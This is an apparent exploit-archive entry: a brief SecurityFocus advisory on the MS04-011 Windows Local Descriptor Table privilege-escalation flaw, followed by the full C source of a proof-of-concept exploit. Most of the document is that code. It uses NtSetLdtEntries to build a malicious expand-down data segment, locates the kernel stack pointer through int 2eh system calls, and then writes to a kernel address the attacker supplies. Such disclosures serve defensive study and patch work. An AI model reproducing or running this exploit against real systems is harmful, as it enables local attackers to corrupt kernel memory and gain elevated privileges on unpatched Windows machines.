source: http://www.securityfocus.com/bid/10122/info

Microsoft Windows Local Descriptor Table programming interface is prone to a privilege-escalation vulnerability.

A local attacker may be able to create a malicious entry in the Local Descriptor Table. This entry may point into protected memory. Since this memory space is reserved for kernel operations, the attacker will likely exploit this condition to execute arbitrary code with elevated privileges.

/******************************************************************
* Windows Expand-Down Data Segment Local Privilege Escalation
* [MS04-011]
*
* Bug found by: Derek Soeder
* Author: mslug (a1476854@hotmail.com), All rights reserved.
*
* Version: PoC 0.1
*
* Tested: Win2k pro en sp4
*
* Thanks: z0mbie's article :)
*
* Compile: cl winldt.c
*
* Date: 18 Apr 2004
*******************************************************************/


#include <windows.h>
#include <stdio.h>
#include <string.h>

#if 1
   #define KernelStackPtr 0xFD000000 //
   #define BedSize 0x01000000
#else
   #define KernelStackPtr 0xF0000000
   #define BedSize 0x10000000
#endif

unsigned char bed[BedSize];
unsigned char pin[]="COOL";

int (*NtSetLdtEntries)(DWORD, DWORD, DWORD, DWORD, DWORD, DWORD);

WORD SetupLDT(WORD seg, DWORD ldtbase);

unsigned long patch_to;

int main(int argc, char *argv[])
{
   DWORD ldtbase, KSP;
   int i;
   HMODULE hNtdll;
  
   if(argc<2) {
      printf("** coded by mslug@safechina.net **\n");
      printf("winldt.exe <kernel address>\n");
      return 0;
   }

   patch_to = strtoul(argv[1], 0, 16);
  
   hNtdll = LoadLibrary("ntdll.dll");
  
   (DWORD*)NtSetLdtEntries = (DWORD*)GetProcAddress(hNtdll, "NtSetLdtEntries");
  
   memset(bed, 'A', BedSize);
   bed[BedSize-1]=0;
  
   ldtbase = (DWORD) &bed[0] - KernelStackPtr;
  
   printf("[+] User-land bed : 0x%08X\n", &bed[0]);
   printf("[+] 1st LDT base : 0x%08X\n", ldtbase);

   SetupLDT(0x1f, ldtbase);
   __asm {
      push es
      push 1fh
      pop es
      mov eax, 11h //1 param
      lea edx, pin
      int 2eh
      pop es
   }

   for (KSP=0, i=0; i<BedSize-3; i++) {
      if (bed[i] =='C' && bed[i+1]=='O' &&
          bed[i+2]=='O' && bed[i+3]=='L' )
      {
         KSP = KernelStackPtr + i;
         printf("[!] Knl stack ptr : 0x%08X\n", KSP);
         //KSP = (DWORD)&bed[i]-ldtbase;
         //printf("[!] Knl stack ptr : 0x%08X\n", KSP);
         break;
      }
   }
  
   if(!KSP) {
      printf("[-] Can't locate Kernel stack pointer, try again\n");
      return 0;
   } else if (patch_to < KSP) {
      printf("[-] Can only patch kernel above KSP\n");
      return 0;
   }
  
   ldtbase = patch_to - KSP;

   printf("[+] Patch to : 0x%08X\n", patch_to);
   printf("[+] 2nd LDT base : 0x%08X\n", ldtbase);

   SetupLDT(0x17, ldtbase);
   __asm {
      push es
      push 17h
      pop es
      mov eax, 11h
      lea edx, pin
      int 2eh
      pop es
   }
  
   return 0;
}

WORD SetupLDT(WORD seg, DWORD ldtbase)
{
   LDT_ENTRY EvilLdt;
   DWORD base = ldtbase;
   DWORD limit = 0;
   int ret;
  
   EvilLdt.BaseLow = base & 0xFFFF;
   EvilLdt.HighWord.Bytes.BaseMid = base >> 16;
   EvilLdt.HighWord.Bytes.BaseHi = base >> 24;
   EvilLdt.LimitLow = (limit >> 12) & 0xFFFF;
   EvilLdt.HighWord.Bits.LimitHi = limit >> 28;
   EvilLdt.HighWord.Bits.Granularity = 1; // 0/1, if 1, limit=(limit<<12)|FFF
   EvilLdt.HighWord.Bits.Default_Big = 1; // 0=16bit 1=32bit
   EvilLdt.HighWord.Bits.Reserved_0 = 0; // 0/1
   EvilLdt.HighWord.Bits.Sys = 0; // 0/1
   EvilLdt.HighWord.Bits.Pres = 1; // 0/1 (presence bit)
   EvilLdt.HighWord.Bits.Dpl = 3; // only 3 allowed :-(
   EvilLdt.HighWord.Bits.Type = 23; // [16..27]

   ret = NtSetLdtEntries( seg,
                    *(DWORD*)&EvilLdt,
                    *(((DWORD*)&EvilLdt)+1),
                    0,0,0);
   if (ret < 0) {
      printf("[-] Set ldt error : %08X.\n", ret);
      exit(0);
   }

   return seg;
}